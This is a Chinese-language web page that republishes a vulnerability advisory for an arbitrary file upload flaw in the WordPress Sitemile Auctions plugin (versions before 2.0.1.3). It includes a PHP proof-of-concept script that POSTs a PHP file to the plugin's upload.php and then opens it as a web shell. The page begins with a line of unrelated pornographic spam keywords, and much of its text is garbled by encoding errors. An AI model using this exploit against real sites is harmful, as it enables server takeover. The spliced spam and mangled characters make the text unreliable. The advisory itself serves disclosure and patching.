欧美激情网,国产欧美亚洲高清,欧美屁股xxxxx,欧美群妇大交群,欧美人与物ⅴideos另类,区二区三区在线 | 欧洲

知識學(xué)堂
  • ·聯(lián)系電話:+86.023-75585550
  • ·聯(lián)系傳真:+86.023-75585550
  • ·24小時手機:13896886023
  • ·QQ 咨 詢:361652718 513960520
當前位置 > 首頁 > 知識學(xué)堂 > 常見技術(shù)問題
WordPress Sitemile Auctions插件任意文件上傳漏洞
更新時間:2012-06-27 | 發(fā)布人:本站 | 點擊率:2831
發(fā)布日期:2012-06-19
更新日期:2012-06-20
 
受影響系統(tǒng):
WordPress Sitemile Auctions Plugin  2.x
描述:
--------------------------------------------------------------------------------
WordPress是一種使用PHP語言和MySQL數(shù)據(jù)庫開發(fā)的Blog(博客、網(wǎng)志)引擎,用戶可以在支持PHP和MySQL數(shù)據(jù)庫的服務(wù)器上建立自己的Blog。
Sitemile Auctions Plugin for WordPress 2.0.1.3之前版本的wp-content/plugins/auctionPlugin/upload.php腳本允許上傳任意擴展名的文件到webroot文件夾中,可通過上傳惡意PHP腳本執(zhí)行任意PHP代碼。
 
<*來源:Sammy Forgit
  
  鏈接:http://secunia.com/advisories/49497/
        http://www.opensyscom.fr/Actualites/wordpress-plugins-wordpress-auctions-plugin-arbitrary-file-upload-vulnerability.html
*>
 
測試方法:
--------------------------------------------------------------------------------
 
警 告
 
以下程序(方法)可能帶有攻擊性,僅供安全研究與教學(xué)之用。使用者風險自負!
 
Sammy Forgit ()提供了如下測試方法:
 
PostShell.php
<?php
 
$uploadfile="lo.php"; 
$ch = curl_init("http://www.exemple.com/wordpress/wp-content/plugins/auctionPlugin/uploadify/upload.php?folder=/wordpress/wp-content/uploads/");
curl_setopt($ch, CURLOPT_POST, true);   
curl_setopt($ch, CURLOPT_POSTFIELDS,
        array('Filedata'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";
 
?>
 
Shell Access : http://www.exemple.com/wordpress/wp-content/uploads/lo.php
Filename : [CTRL-u] PostShell.php after executed
 
lo.php
<?php
phpinfo();
?>
 
建議:
--------------------------------------------------------------------------------
廠商補。
 
WordPress
---------
目前廠商已經(jīng)發(fā)布了升級補丁以修復(fù)這個安全問題,請到廠商的主頁下載:
 
http://wordpress.org/